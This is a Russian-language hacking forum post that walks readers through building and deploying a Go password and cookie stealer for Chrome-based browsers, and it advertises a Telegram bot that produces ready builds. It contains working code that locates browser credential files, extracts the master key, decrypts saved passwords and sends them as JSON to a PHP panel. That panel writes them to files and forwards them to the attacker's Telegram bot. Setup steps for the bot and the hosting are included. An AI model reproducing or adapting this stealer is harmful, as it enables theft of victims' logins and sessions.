Создаем стилер и билдер под 80х на Go

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
6,656
Реакции
23
В малую, но важную часть проекта лег GoLazargin, но переработал его почти полностью я, под наши хакерские нужды. А именно переработал сбор паролей из всех Chrome-based браузеров, и дописал отправку на импровизированную панель. Сборка данного "вора паролей" для всех читателей будет в виде
1f60e.png
мануала с разбором кода
, и
1f381.png
билдера что бы получить готовую малварь - для тех кому лень, но хотелось бы потыкать и в качестве profа. Установка и настройка панели будет тут же раскрыта, так что те кто будет пользоваться билдером, тоже внимательно прочтите следующую часть:


1f4be.png
Установка панели на хостинг



Для начала нужно скачать проект стиллера с гитхаба ЛИНК
далее, мы распаковываем получившийся архив, и если вас интересует только сборка через билдер вам нужна папка "panel"
в ней мы видим всего четыре файла, и отредактировать нам будет нужно только один а именно "upload.php", в файле реализована отсылка данных в телеграмм,
так что нам будет необходимо создать своего бота в этом мессенджере (немного загляну в будущее, так же для тех кто хочет сделать свой билдер, привет "адвертам" - будет необходимо создать два бота),
этот процесс очень просто реализуем пишем боту @BotFather, начинаем диалог с ним, команда /newbot как на скриншоте заставит его создать для нас нового бота,
нужно придумать ему имя, неважно какое для начала, потом ботфазер попросит создать ссылку на Вашего бота, обязательно она должна заканчиваться на суффикс "bot",
если она уже занята, как показано на скриншоте, то придумываем еще более уникальную
1f601.png

Потом он создает бота и дает нам токен этого бота:


10846

Токен подчеркнут красной линией соханите его куда нибудь... Ботфазер так же в этом же сообщении сгенерировал нам ссылку на Вашего бота, что бы мы могли "заговорить" с нашим созданным ботом.
Для этого перейдите по ссылке и нажмите кнопку "старт". С ботфазером - всё готово, а теперь пойдем в другой бот и получим из него наш ChatId в телеграмме, что бы Ваш новенький бот - смог посылать вам сообщения.
@userinfobot этот бот - по нажатию на кнопку "старт" выдаст вам ваш id в телеграмме, сохраняем его куда-нибудь и откроем файл upload.php, там нам будет нужно подставить наши значения в поле токена, и чатид!


Когда с этим закончили мы регистрируем хостинг, и заливаем туда наши файлы через ftp. Теперь с админкой законченно, тут нужно очень важную штуку сделать, а именно перейти на ваш сайт по домену который выдал вам хостер, и получить прямую ссылку до файла upload.php: по типу

Для тех кто просто хочет получить рабочий результат, переходим в бота @evilxomyakbot
1f439.png
и скармливаем ссылку этому боту... И ждем...
10847

Мы получаем билд без всяких заморочек за полминуты, просьба не тыкать как угорелые, он создаст билды как только создаст, я не миллионер на шикарные VPS тратиться.
Билд абсолютно для вас чистый, без подводных камней наподобие встроенных клипперов, или 2й
1f601.png
отправки логов в другую панель, стиллер создан под статью ВЧЕРА на XSS и других предназначений у него не было, для проверки вы просто можете запустить wireshark или любой другой сниффер трафика и убедится сами в его неподкупной честности.


Итак теперь безумно сложные махинации по компиляции стиллера самостоятельно в этом видео ролике, я показал на примере бесплатного хостинга как установить панельку и скомпилировать стиллер самостоятельно он для крутых пацанов, нам понадобится скачать несколько программ для успешной компиляции проекта:
[url]https://github.com/git-for-windows/git/releases/download/v2.27.0.windows.1/Git-2.27.0-32-bit.exe[/URL]
[url]https://dl.google.com/go/go1.14.4.windows-386.msi[/URL]
[url]https://osdn.net/projects/mingw/downloads/68260/mingw-get-setup.exe/[/URL]


Видео-инструкция по компиляции приложения:


Небольшой комментарий к ролику, если у вас не - вин10, то вам будет необходимо после установки всех программ и добавления их в переменные окружения PATH, выйти из сеанса пользователя и перезайти заново, проще конечно для некоторых перезагрузить машину
1f602.png



Теперь у вас в любом случае - я вас вооружил, давайте если вам будет интересно заглянем под капот данной программы, функционал не богат, но зато работает прекрасно на любых машинах, начиная от XP и заканчивая 10ой, что является отличительной чертой языка Го, и не моей заслугой. Второе, он не сохраняет лог на жёстком диске, а записывает его структуры данных и отправляет в виде Json в панель, там Json парсится (ну косо-криво, но парсится), сохраняется в лог и перенаправляется к вам в бота....


Давайте взглянем на код:


Первое и самое главное это использованные библиотеки, язык голанг имеет очень богатую стандартную библиотеку, сравнимую лишь с пайтоном и javascript'ом, но использовать для подключения к базам данных мы будем сторонею либу, такую которую использовали XShar и Джевс в своей статьи (конкуренты моё вам уважение
1f618.png
) для базы данных в своей админке, но у них админка под linux, у нас компиляция под win... И тут у нас всплывают подводные камни именно с этой библиоткой - она использует человеческий sqlite3/.c/.h под си, и компилирируется в связке с го только под Mingw32 бита, так что нам для компиляции придется установить и Голанг 32битный и Мингв32 бита
1f625.png
, а так же несколько других библиотек которые по сути нам не важны сейчас в разговоре.


В стиллере реализован рекурсивный сбор файлов Login Data, и кукис в отдельные списки, из Роуминга и Локал, в двух потоках, го предоставляет нам возможность использовать многоядерность для реализации этой задумки, так что сбор будет быстрым и удобным...


Вызов функций для сбора файлов рекурсивным методом:
Код:
wg.Add(2)
go searchdata(&wg, roamingpath)
go searchdata(&wg, localpath)
wg.Wait()


Реализация этой функции:


Код:
func searchdata(wg *sync.WaitGroup, searchDir string) {
    defer wg.Done()
    _ = filepath.Walk(searchDir, func(path string, f os.FileInfo, err error) error {
        if f.Name() == "Login Data" {
            LoginDataList = append(LoginDataList, path)
        }
        if f.Name() == "Cookies" {
            CookieDataList = append(CookieDataList, path)
        }
        return nil
    })
}


Правда же клево? Давайте взглянем на ее аналог для WINAPI на том же си:


Код:
DWORD WINAPI searchFiles(wchar_t *path)
{
    WIN32_FIND_DATA ffd;
    WCHAR szDir[3000 * sizeof(WCHAR)];
    wcscpy(szDir, path);
    wcscat(szDir, L"\\*");
    HANDLE hFind = INVALID_HANDLE_VALUE;
    hFind = FindFirstFileW(szDir, &ffd);
    do
    {
        //если это папка
        if (ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
        {
            if (lstrcmpW(ffd.cFileName, L"..") != 1 || lstrcmpW(ffd.cFileName, L".") != 1 )
                continue;
            //необходимые дейстивия с папками
            wchar_t* newdir = (wchar_t*)malloc(3000 * sizeof(WCHAR));
            wsprintfW(newdir, L"%ls\\%ls", path, ffd.cFileName);
            searchFiles(newdir); // <= рекурсия в туже самую функцию
            free(newdir);
        }
        //если это файл
        else
        {
            //действия с логин дата и кукис файлами
        }
       
    } while (FindNextFileW(hFind, &ffd) != 0);
    FindClose(hFind);
    return 0;
}


тут кода на порядок больше, в перемешку с вызовами винапи, дело в том, что голанг реализует всё тоже самое под капотом, весь приведенный код на си у нас уже реализован именно в этой функции, мы просто не видим то что находится внутри... с одной стороны это хорошо - гораздо проще писать код, с другой стороны мы имеем раздутый, но все таки нативный бинарник, криптовать который нужно по другому.... Об этом я тоже расскажу, но не в рамках этой статьи.


Функция получения мастер ключа из Local State у меня реализована просто переходом на папку Выше чем адресс файла, и проверкой на наличие его в этой дирректории в случае обычных хромов, а в случае оперы, проверкой на наличие в той же самой директории что и Login Data и Cookies:




CODE]func getmasterkey(file string) ([]byte, error) {
var keyFilePath string
if strings.Contains(file, "Opera") {
keyFilePath = fmt.Sprintf("%s\\%s", filepath.Dir(file), localvar)
} else {
keyFilePath = fmt.Sprintf("%s\\%s", filepath.Dir(filepath.Dir(file)), localvar)
}
_, err := os.Stat(keyFilePath)
if !os.IsNotExist(err) {
if checkexist(keyFilePath) {
res, _ := ioutil.ReadFile(keyFilePath)
keyEncrypted, err := base64.StdEncoding.DecodeString(gjson.Get(string(res), "os_crypt.encrypted_key").String())
if err == nil {
keyEncrypted = keyEncrypted[5:]
masterKey, err := Win32CryptUnprotectData(string(keyEncrypted), false)
if err == nil {
return masterKey, nil
}
}
return []byte{}, err
}
}
return []byte{}, err
}[/CODE]


После завершения "поисковых тредов", мы проходимся по каждому файлу из массива, копируем его в туже директорию с другим случайным именем, и открывая его как базу данных
Где мы пытаемся его расшифровать одним из двух предложенных спобов, либо просто CryptUnprotectData, либо с помощью OpenSSl и мастер ключа...


Код:
var Logindata []UrlNamePass
    for _, file := range LoginDataList {
        masterKey, errMasterKey := getmasterkey(file)
        newfile := fmt.Sprintf("%s\\%s", filepath.Dir(file), RandStringBytes(15))
        copyfile(file, newfile)
        db, err := sql.Open("sqlite3", newfile)
        if err == nil {
            defer db.Close()
            rows, err := db.Query("SELECT signon_realm, username_value, password_value FROM logins")
            if err == nil {
                defer rows.Close()
                var signonUrl, username, password string
                for rows.Next() {
                    rows.Scan(&signonUrl, &username, &password)
                    if errMasterKey == nil {
                        decryptedPassword, errAesDecrypt := DecryptAESPwd([]byte(password), masterKey)
                        if errAesDecrypt != nil {
                            decryptedPassword, errUnprotectData := Win32CryptUnprotectData(password, false)
                            if errUnprotectData != nil {
                                Logindata = append(Logindata, UrlNamePass{
                                    Url:      signonUrl,
                                    Username: username,
                                    Pass:     string(decryptedPassword),
                                })
                            }
                        }


Сериализуем полученные массивы паролей и кукис в Json, и отправляем их на нашу панель:
Код:
    var JsonMainStruct []JsonMain
    JsonMainStruct = append(JsonMainStruct, JsonMain{
        Passwords: Logindata,
        Cookies:   CookieBro,
    })


    LogJson := &JsonMainStruct
    PCLogJson, err := json.Marshal(LogJson)


    if err == nil {
        req, err := http.NewRequest("POST", url, bytes.NewBuffer(PCLogJson))
        req.Header.Set("Content-Type", "application/json")
        client := &http.Client{}
        resp, err := client.Do(req)
        if err != nil {


        }
        defer resp.Body.Close()
    }


Где в php скрипте оно парсится, формируется в файлы нетскейпт кукис и паролей, и оптравляется курлом на нашего бота.
Код:
foreach(json_decode($json, true) as $k1=>$v1) {
  foreach($v1 as $k2=>$v2) {
    switch($k2) {
    case 'Passwords':
      foreach($v2 as $k3=>$v3) {
        foreach($v3 as $k4=>$v4) {
          switch ($k4) {
          case 'Url':
            file_put_contents($ip.'/Passwords.txt', $k4.' : '.$v4."\n", FILE_APPEND);
            break;
          case 'Username':
            file_put_contents($ip.'/Passwords.txt', $k4.' : '.$v4."\n", FILE_APPEND);
            break;
          case 'Pass':
            file_put_contents($ip.'/Passwords.txt', $k4.' : '.$v4."\n"."\n", FILE_APPEND);
            break;
          }
        }
      }
      break;
    case 'Cookies':
      foreach($v2 as $k3=>$v3) {
        foreach($v3 as $k4=>$v4) {
          foreach($v4 as $k5=>$v5) {
            file_put_contents($ip.'/Cookies'.$countCookies.'.txt', $v5, FILE_APPEND);
          }
        }
        $countCookies++;
      }
      break;
    }
  }
}


В итоге мы получаем рабочий стиллер для нашей работы, всего за два дня кодинга. Причем его можно апгрейдить из того же репозитория, добавить сбор из Геко-браузеров, Ие, и других программ.
Эта статья была возможностью вам показать, что за 2 дня даже не опытный программист, может написать работающую нативную программу, и рассказать о ней в статье, так что будем вежливыми, и будем понимать, что я не пропагандирую писать на голанге, и не являюсь адептом этого языка, я вообще новичек.


С билдером вообще никаких проблем нет, ведь мы можем использовать возможности этого языка, для того что бы создавать (админки для ботнетов!) сайты, а именно воспользуемся библиотекой шаблонов!
В исходниках самого стиллера мы вместо ссылки на нашу админку запишем так:
10848

где руны url у нас будет поставляемой переменной {{.}} для шаблонизатора


давайте прочитаем файл main.go шаблонизатором:


Код:
var t *template.Template
t = template.Must(template.ParseFiles("main.go"))


и подставим значение которое пришлет нам клиент бота в телеграмме:
Код:
var tpl bytes.Buffer
t.Execute(&tpl, update.Message.Text)
result := tpl.String()
Таким вот образом мы записываем в память программы наш готовый исходник и сохраняем его куда нибудь:
Код:
err = ioutil.WriteFile(clientMainName, []byte(result), 0644)


Компилируем и отсылаем через телеграмм:


Код:
doc := tgbotapi.NewDocumentUpload(ID, clientBuildName)
bot.Send(doc)


Исходник бота-билдера пока публиковать на гитхабе не буду, потому что он тестовый и как развиваться его разработка будет не знаю, хочу зарабатывать на том что бы строить вот такие приблуды, есть хорошие идеи для развития, не писать же вирусы каждый день, или писать, если будет интересно, то пишите в комментах что бы хотели увидеть, я настроен на победу в этом хакатоне, у меня остается ещё 1 шанс в этой борьбе
1f60e.png



Автор: shkolnick1337
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.